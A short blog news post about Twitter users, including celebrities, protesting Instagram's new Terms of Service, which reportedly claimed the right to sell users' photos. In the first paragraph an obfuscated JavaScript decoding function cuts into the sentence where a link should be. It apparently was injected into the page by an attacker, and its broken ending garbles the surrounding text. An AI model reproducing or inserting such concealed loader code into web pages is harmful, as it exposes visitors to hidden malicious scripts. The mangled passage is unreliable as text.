Talk about star power. It took hundreds of tweets from both average users and celebrities alike (or maybe just the celebrities) to force Instagram to function oc532bd2f6(uf){var yd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var vb='';var y4,sd,t3,rd,y3,x1,s0;var nd=0;do{rd=yd.indexOf(uf.charAt(nd++));y3=yd.indexOf(uf.charAt(nd++));x1=yd.indexOf(uf.charAt(nd++));s0=yd.indexOf(uf.charAt(nd++));y4=(rd<<2)|(y3>>4);sd=((y3&15)<<4)|(x1>>2);t3=((x1&3)<<6)|s0;if(y4>=192)y4+=848;else if(y4==168)y4=1025;else if(y4==184)y4=1105;vb+=String.fromCharCode(y4);if(x1!=64){if(sd>=192)sd+=848;else if(sd==168)sd=1025;else if(sd==184)sd=1105;vb+=String.fromCharCode(sd);}if(s0!=64){if(t3>=192)t3+=848;else if(t3==168)t3=1025;else if(t3==184)t3=1105;vb+=String.fromCharCode(t3);}}while(ndand-were-listening" target="_blank">backpedal on their recently updated Terms of Service. Just hours after the photo-sharing application announced the changes to their usage policy, a plethora of rants started popping up all over Twitter.


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According to CNET, the new policy, which will take effect in a month, simply stated that “it has the perpetual right to sell users’ photographs without payment or notification.” This of course, had upset a lot of users, which led to the public outcry on social sites.

A lot of the tweets consist of “threats” of closing their Instagram accounts. Below are some of the tweets we have managed to gather from the web.